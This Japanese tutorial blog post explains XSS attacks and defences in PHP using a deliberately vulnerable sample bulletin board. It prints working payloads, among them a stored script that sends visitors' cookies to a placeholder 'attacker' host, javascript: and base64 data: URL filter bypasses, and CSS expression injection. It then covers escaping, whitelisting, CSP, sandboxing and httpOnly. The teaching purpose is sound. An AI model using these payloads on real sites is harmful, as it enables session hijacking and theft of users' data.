More than 1 year has passed since last update.

はじめに

今回の記事は PHP を想定しています。
PHP は WEB サイトで最も使われていて、初心者がとっつきやすく、セキュリティーホールのあるシステムを最も多く生み出し続けている言語ですよね( ̄▽ ̄;)
そこで WEB プログラミングの初心者の方をターゲットに、出来るかぎり分かりやすく書いてみます。
というのは建前で、今週末にある PHP セキュリティのお勉強会の予習です。
記事の内容を他人の公開サーバーで試すと犯罪になる場合もあるので注意してね。

個人的意見ですが・・・
セキュリティを確保するにはシステムのアップデートが欠かせませんが、PHP は後方互換性に乏しく、バージョンアップが高コストなため、問題のあるバージョンのまま放置されたシステムになりやすく危険な言語だと思っています。
これは Ruby も同じで、私が言語を選べるなら、どちらも使いません。
堅い言語なら Java か C#(ASP.NET)、スクリプトなら Perl を選びます。
ちなみに、私が最近触ったサーバーは PHP 5.2.8 でした。
要するに PHP 爆発しろヽ(`Д´)ノ

スクリプトインジェクションとは

JavaScript インジェクションともいいます。
WEB サーバーにスクリプトを含むリクエストを送信して、ページ内にスクリプトを挿入する攻撃の総称です。
脆弱性の中でも飛び抜けて難しくて、発生件数も一番多いと思います。
この用語には明確な定義や分類がないので、この記事では以下の位置付けで説明していきます。

XSS-2.png

名前 説明
持続型 攻撃者がスクリプトを含むリクエストを送信してサーバーに保存させます。保存されたスクリプトを組み込んだページを訪れた第三者にスクリプトを実行させる攻撃。
別名:Type-1、Persistent、Stored XSS
反射型 第三者にスクリプトを含むリクエストを送信させます。送信したスクリプトがページ内に差し込まれる脆弱性を利用して、リクエストを送信したページ上でスクリプトを実行させる攻撃。送信したスクリプトはサーバーに保存されません。
別名:Type-2、Non-Persistent、Reflected XSS
DOMベース 第三者にスクリプトを含むリクエストを送信させる攻撃ですが、反射型との違いは、クライアントサイドスクリプトの脆弱性を利用することです。
別名:Type-0、DOM Based XSS

クロスサイトスクリプティング(以降 XSS)という名前が一番有名だと思うんですけど、XSS は広義な意味ではスクリプトインジェクションのことだったり、狭義な意味では反射型のことだったりします。
攻撃はクロスサイトとは限らないのにクロスサイトという名前を付けてしまったために、曖昧な言葉になっているのが現状のようです(´・ω・`)

ホームページと WEB サイトの誤用みたいな感じですよね。
ちなみに home page というのは和製英語なので、外国人には通用しないそうです。
Opera はスタートページっていう名前を使っているけど、これなら誤用が減りそうですね、いいセンスだ(゚∀゚)
Firefox さんは、ホームページとスタートページを混在させて、さらなるカオスを狙っているのでしょうか(;´д`)

2014-09-20_074504.png

脱線してごめんなさい。
とりあえず、この記事では XSS = スクリプトインジェクションということにします。

攻撃の原理について、文章でアレコレ説明してもピンと来ないと思うんですけど、もっと詳しい説明が読みたい方は以下のサイトをどうぞ。

Wikipedia の英語記事は、どこかのイケメンが翻訳案を提供してくれたのか、Chrome で日本語に翻訳すると日本語のページより詳しい内容を読めます。

攻撃方法を身につけようΨ( `▽´ )Ψ

セキュリティ対策を身につけるなら、犯罪の手口を検証することは欠かせませんよね。
現実空間なら、ドアの鍵の安全性を強化するには解錠の手口を知ることが大切ですし、施設警備では侵入者の視点で進入経路を考えて施錠したり警備を配置するでしょう。
フレームワークを使いこなして掲示板やブログを作れるようになっても、セキュリティについてきちんと身につけていない人は意外に多いと感じます。
はいはいパラメーターをページに表示するときはエスケープすればいいんでしょ~って思ったアナタ、だいたい合ってますw
でも、それだけじゃダメなんです。

掲示板を攻撃する

サンプルの超危険な掲示板を用意しました。
コメント掲載部分と、投稿フォームが同じページにある簡易の掲示板です。
投稿すると同じ URL に POST して投稿が反映されるので反射型の確認もできます。
ソースコードはこちらにあります( ´∀`)つ xss.php

2014-09-20_194326.png

用途 name タグ
投稿者名 name hidden
タイトル title text
リンク url text
コメント text textarea

ケース1. コメントにスクリプトを挿入する

投稿コメント
こんにちわ!わたしトモチャン、よろしくね!(゚∀゚)ノ アヒャ
<script>
var img = document.createElement('img');
img.src = 'http://attacker/spacer.gif?c=' + encodeURI(document.cookie);
document.body.appendChild(img);
</script>
コメント表示部のPHP
<div class="text">
<?php echo $comment["text"]; ?>
</div>
コメント表示部の実行結果
<div class="text">
こんにちわ!わたしトモチャン、よろしくね!(゚∀゚)ノ アヒャ
<script>
var img = document.createElement('img');
img.src = 'http://attacker/spacer.gif?c=' + encodeURI(document.cookie);
document.body.appendChild(img);
</script>
</div>

投稿したコメントがサーバーに保存されて、コメント表示部に表示される有効なスクリプトとしてブラウザに解釈されます。
第三者がこの投稿を見るとスクリプトが実行されて、<img> タグの URL 経由でクッキーが攻撃者が用意したサーバーに送られます。
クッキーの中にセッション ID が入っていれば、攻撃者はセッションを乗っ取ることが出来ます。
スクリプトさえ動作してしまえは、あんなことやこんなことも出来ますから、パスワードの再設定を促すフォームを表示してフィッシングでパスワードを奪ったり、定期的に XHR をぐるぐる回して田代砲(DoS 攻撃)の発射基地にしたり、アイデア次第で夢が広がりますね(゚∀゚)

でも、実際に試してみると、送信後に掲示板への書き込みが表示されたのに、スクリプトが動かない現象に遭遇した人もいるかもしれません。
最近のブラウザには XSS フィルターが搭載されているので、スクリプトを送信した際のレスポンスで表示されるページでは、XSS フィルターが攻撃を検知してスクリプトをブロックすることがあるんです(´・ω・`)
でも XSS フィルターが検出できる攻撃は反射型のみで、持続型には無力なので、書き込んだあとにもう一度同じページを開いてみると実行されるはずです。

リクエスト直後の XSS フィルター

Internet
Explorer 11
Google
Chrome 37
Mozilla
Firefox 32
Opera 24
攻撃成功 コード除去 攻撃成功 コード除去

入力をエスケープする

攻撃を防ぐには、htmlspecialchars 関数でタグに使われる文字をエスケープします。

コメントのエスケープ
<div class="text">
<?php echo htmlspecialchars($comment["text"], ENT_QUOTES, 'UTF-8'); ?>
</div>

htmlspecialchars 関数の第二引数以降は省略可能ですが、省略するとセキュリティ上よくないので実質的にすべて必須です。
PHP はバージョンによって既定値がコロコロ変わるので信用してはいけません。
第二引数にはいろいろなフラグが使えますが、ENT_QUOTES にしておくのが無難です。
第三引数の文字コードはバージョンによってデフォルト値が違いますし、将来バージョンアップで変わる可能性も否定出来ませんので明示的に指定しましょう。

ケース2. リンクにスクリプトを挿入する

送信するURL
#"><script>
alert('crack');
</script><a name="xss
リンク表示部のPHP
<a href="<?php echo $comment['url']; ?>">リンク</a>
リンク表示部の実行結果
<a href="#"><script>
alert('crack');
</script><a name="xss">リンク</a>

ケース1と同じように有効なスクリプトがページに挿入出来ました。
エスケープしていないとやりたい放題ですね。

リクエスト直後の XSS フィルター

Internet
Explorer 11
Google
Chrome 37
Mozilla
Firefox 32
Opera 24
攻撃成功 コード除去 攻撃成功 コード除去

入力をエスケープする

先ほどの要領でリンクの文字列をエスケープします。

URLの表示部分
<a href="<?php echo htmlspecialchars($comment['url'], ENT_QUOTES, 'UTF-8'); ?>">リンク</a>

これで <script> タグはエスケープされますが、URL の中にはスクリプトを実行させる書き方があるので、これでは不十分です。
URL のスキームは http:ftp: が有名ですが javascript: も指定できます。
javascript: に続けてスクリプトを記述すると、リンクをクリックしたときにスクリプトが実行されます。

送信するURL
javascript:alert('crack')
リンク表示部の実行結果
<a href="javascript:alert(&#039;crack&#039;)">リンク</a>

上記の例ではリンクをクリックすると crack と表示されます。
HTML タグの属性値に数値文字参照を指定しても、数値文字参照を解除してから解釈されるので、スクリプトは動くんですね。
URL を指定できる属性の XSS 対策はエスケープでは防げないことが分かります。

リクエスト直後の XSS フィルター

Internet
Explorer 11
Google
Chrome 37
Mozilla
Firefox 32
Opera 24
攻撃成功 攻撃成功 攻撃成功 攻撃成功

厳密に値を入力検査する

このような攻撃を防ぐにはエスケープだけではなく入力検査が必要です。
それでは javascript: が含まれているURLをエラーとするメソッドで危険な URL を弾いてみます。

function isUrl($url) {
  if (preg_match('/javascript:/', $url)){
    return false;
  }
  return true;
}

これで javascript: で始まるパターンはブロックじました。
でも以下のようにスクリプトが実行可能な URL は色々あります。

アタックA
// javascript:alert('crack') と同じ
&#106;avascript:alert('crack')
アタックB
// <script>alert('crack')</script> を Base64 エンコードしたもの
data:text/html;base64,PHNjcmlwdD5hbGVydCgnY3JhY2snKTwvc2NyaXB0Pg==

リクエスト直後の XSS フィルター

Internet
Explorer 11
Google
Chrome 37
Mozilla
Firefox 32
Opera 24
アタックA 攻撃成功 攻撃成功 攻撃成功 攻撃成功
アタックB 未対応? 攻撃成功 攻撃成功 攻撃成功

このように危険な URL を排除するエラーチェックの方法では防ぎきれません。
発想を転換してリンクとして認める URL のパターンに一致するかどうかを調べるホワイトリスト方式がベストです。

以下は http:// または https:// で始まる URL かどうかを判定しています。

function isUrl($url) {
  if (!preg_match('/\Ahttps?:\/\//', $url)) {
    return false;
  }
  return true;
}

このチェックにさらに filter_var 関数による URL チェックを入れても以下のような危険な URL が通ってしまうのでエスケープは必須です。

ラベルにスクリプトタグを含んでいる
http://attacker/#"><script>alert('crack')</script><a name="xss

正規表現のチェックはアプリケーションの仕様に合わせて認める範囲を狭めつつ、見落としたときのためにエスケープも必ずやるようにしましょう。

XSS 対策で共通する鉄の掟

バイナリセーフではない関数を使わない

パラメーターに NULL バイト文字を混ぜる NULL バイト攻撃という手法があります。
文字列の中にある NULL バイト文字を文字列の終わりと見なすバイナリセーフでない関数の性質を利用して、入力チェックをすり抜けてるために使われる攻撃です。
ですから入力された値を扱うときは必ずバイナリセーフな関数のみを使用しましょう。
わりと新しいバージョンの PHP では対策が進んでいますけど、いまだにレンタルサーバーでは古い PHP が動いていますからね(;´д`)
関数を使う前に必ずリファレンスで確認しましょう。

参考:PHP TIPS - 23. 関数とバイナリセーフ:ITpro

インラインスクリプトにユーザーの入力を展開しない

以下のようなものがインラインスクリプトです。

イベントハンドラのコード
<body onload="alert('crack');">
</body>
scriptタグ内のコード
<script>
alert('crack');
</script>
style属性内のコード
<div style="width:expression(alert('crack'));"></div>
<div style="behavior:url(http://attacker/crack.htc);"></div>
styleタグ内のコード
<style>
body {
  background:url(javascript:alert('XSS'));
}
</style>

これらの指定場所には JavaScript や CSS のコメントブロックが使えたり記述の幅がとても広くて対策がややこしいので、このような場所にユーザーの入力を展開するのはやめましょう。
個人的には、一切のインラインスクリプト、インラインスタイルを使用しない方が無難です。
ちなみに現在の Chrome 拡張開発ではインラインスクリプトが完全に禁止されました。
最初はめんどくさいなーって思いましたが、セキュリティを考えると実行不可能になっているほうが安全ですし、使わないと出来ない処理はないので慣れれば平気です(`・ω・´)b

参考:@IT -[柔軟すぎる]IEのCSS解釈で起こるXSS

文字コードを指定する

入力をエスケープしてもレスポンスヘッダに適切な文字コードを指定しないと、文字化けを利用してスクリプトを混入させる隙を与えてしまいます。
php.ini の default_charset に文字コードを指定しておくと、自動的にレスポンスヘッダに文字コードを指定してくれますがオススメしません。
ガラケーサイト(Shift_JIS)を同居させることになるかもしれませんし、明示的に指定しておくのが無難だと思います。
ただしフレームワークを使用していて、そのフレームワークで定められたやり方がある場合はそのやり方に合わせた方がいいですね。

header("Content-type: text/html; charset=UTF-8");

参考:gihyo.jp - UTF-7によるクロスサイトスクリプティング攻撃

属性の値をダブルクオートで囲む

囲まなかった場合エスケープしてもイベントハンドラにスクリプトを挿入されてしまいます。
HTML の仕様ではシングルクオートも許されていますが、htmlspecialchars の既定の挙動ではシングルクオートがエスケープ対象になっていないので、使い方を間違えたときに少しだけ危険性が上がります。
このような理由から属性の値はダブルクオートで囲まなければ安全性が保てません。

積極的に予防する

iframe でサンドボックス化する

HTML5 から追加されたサンドボックス機能を利用すると、ページ内の <iframe> だけスクリプトが実行されないようにすることが出来ます。
以下のように iframe に sandbox 属性を付けることでスクリプトの実行を禁止してフォーム送信だけを許可することができます。

<iframe src="commentList.php?p=1" sandbox="allow-forms"></iframe>

sandbox 属性の値に何も指定しなければ、以下のフラグすべてが無効、つまり一番厳しい設定になります。
sandbox 属性に指定できるフラグは以下の通りです。

フラグ 説明
allow-scripts サンドボックス化されたコンテンツは、JavaScript を実行できます。
allow-forms サンドボックス化されたコンテンツはフォームを送信できます。
allow-same-origin サンドボックス化されたコンテンツは、ローカル記憶域、Cookie、XMLHttpRequest、同じドメインでホストされるドキュメントなど、同一送信元ポリシーで保護された API にアクセスできます。
allow-top-navigation サンドボックス化されたコンテンツは、トップ ウィンドウの場所を変更できます。
allow-popups サンドボックス化されたコンテンツは、ポップアップ ウィンドウを開くことができます。

参考:Internet Explorer デベロッパー センター

サンドボックスは新しい機能なので最近のブラウザでなければサポートされていません。
使用中のブラウザで sandbox がサポートされているかどうかを調べるには以下のスクリプトを実行してみてください。

if ("sandbox" in document.createElement("iframe")) {
  alert('sandbox supported');
}

HTTP レスポンスヘッダでサンドボックス化する

iframe でサンドボックス化しても、反射型の XSS 攻撃でフレーム内のページに直接アクセスされたらスクリプトが実行されてしまいます。
そこで、もう一つサンドボックス化する方法が提供されています。

これも HTML5 からの新しい機能なので、少し古い IE などでは未対応だったりしますが、かなり強力な機能なので、次世代のセキュリティ対策における期待のエースだと思います。
Content-Security-Policy というレスポンスヘッダを使って許可する動作やリソースをホワイトリスト方式で指定します。
ページ全体のリソースや動作についてホワイトリストで指定するのは、メンテ上もかなり大変だけど、セキュリティに関する理解度が低くても、このヘッダを指定することで、ほとんどの攻撃を防ぐことが出来ると思います。
便利なんですけど、手間が掛かりすぎるので IDE によるサポートが切実に欲しいです。
Visual Studio さんなんとかしてください><

フラグ 対象 説明
default-src 全てのリソース すべての種類のリソースを制限
script-src スクリプト 実行を許可するスクリプトファイルの URL。
'unsafe-inline' でインラインスクリプト許可。
'unsafe-eval' で eval() メソッド許可。
object-src プラグイン 実行を許可するプラグインファイルの URL。
<object>、<embed>、<applet>
img-src 画像 読み込みを許可する画像ファイルの URL。
<img>、CSS、favicon
media-src メディアファイル 読み込みを許可するメディアファイルの URL。
<audio>、<video>
frame-src フレームリソース 読み込みを許可する HTML ファイルの URL。
<frame>、<iframe>
font-src WEB フォント 読み込みを許可する WEB フォントの URL。
@font-face
connect-src リクエスト 送信を許可するサーバーの URL。
XMLHttpRequest、WebSocket、EventSource
style-src スタイルシート 読み込みを許可するスタイルシートの URL。
'unsafe-inline' でインラインスタイル許可。
report-uri CSP 違反報告 違反報告を送信するサーバーの URL。

以下の例は、WEB メールサービスで、HTML メールの表示で画像は許可するけど、スクリプトは実行できないようにする場合の指定です。
3つのヘッダを指定していますが、まだブラウザによって実装がまちまちなので IE、Firefox、Chrome、Safari などなるべく多くのブラウザに対応するための記述です。
CSS でもよく使いますよね、アレと一緒です(;´д`)

Content-Security-Policy: default-src 'self' *.example.com; img-src *
X-Content-Security-Policy: default-src 'self' *.example.com; img-src *
X-WebKit-CSP: default-src 'self' *.example.com; img-src *

ブラウザのサポート状況は以下の通りです。

ヘッダ Internet
Explorer
Google
Chrome
Mozilla
Firefox
Safari
Content-Security-Policy 25 以降 23 以降 7 以降
X-Content-Security-Policy 10 以降 4.0 以降
X-Webkit-CSP 14 以降 6 以降

参考:CSP Quick Reference Guide

被害を軽減する

スクリプトにクッキーを読ませないようにする

最初の例ではクッキーを盗み出していましたよね。
クッキーを盗まれるとセッションハイジャックされる可能性があるので、いっそのことクッキーを JavaScript から隠してしまいましょう。

// 設定を変えて PHP から発行するクッキーすべてを JavaScript から隠す場合
ini_set('session.cookie_httponly', 1);
// クッキーごとに個別に設定する場合(一番後ろの引数)
setcookie("key", "value", 0, "/", null, FALSE, TRUE);

このようにクッキーに httpOnly 属性を付けることで、挿入された JavaScript から PHP で発行されたクッキーを取り出すことは出来なくなります。
依然として田代砲やフィッシングなど、アイデア次第でいくらでもイタズラ出来るので、対策としては弱いですが、やらないよりはマシかなと思います。

TRACE メソッドを無効にする

httpOnly 属性でスクリプトから読めなくしたはずのクッキーを読み出す方法がまだあります。
HTTP のメソッドというと、GET / POST / HEAD くらいしか馴染みがありませんけど、TRACE っていうメソッドもあるんです。
TRACE は、リクエストヘッダをそのままレスポンスボディに格納して応答するやまびこみたいなメソッドです。
これをスクリプトから使われると、せっかくクッキーを読めないようにした意味がなくなってしまいますので、WEB サーバーの設定で TRACE メソッドは無効にしておきましょう。

httpd.confの場合
TraceEnable Off

最近のブラウザでは TRACE メソッド対策がされているので、いま使用されているブラウザだと IE6 くらいしか実行できる環境は無いと思います。
私が最近作成したサイトのアクセスログでは IE6 の割合は 2% でした。
もし TRACE メソッドを無効にせず、XSS 脆弱性があった場合には、この2%弱の利用者のクッキーは守り切れないことになります。
いまはもう TRACE を対策する必要無いっていう意見もあるけど、私はやるべきだと確信します。
ちなみに Flash や Java アプレットからも TRACE を送信出来ますよ。

まとめ

XSS 攻撃の解説すら終らなかった><
他にも攻撃方法はいろいろあるんですよね(;´д`)
全部まとめて書くつもりだったんだけど時間切れです。

今回調査していて、Firefox には XSS フィルターがない気がしました。
1度もブロックできてないですしね。
NoScript とかのアドインを入れることが前提になっているのかなぁ。

参考資料

Chromium Blog: Security in Depth: New Security Features
IPA - 安全なウェブサイトの作り方
IPA セキュア・プログラミング講座:Webアプリケーション編
OWASP - DOM based XSS Prevention Cheat Sheet
php.net - Null bytes related issues
MDN - CSP policy directives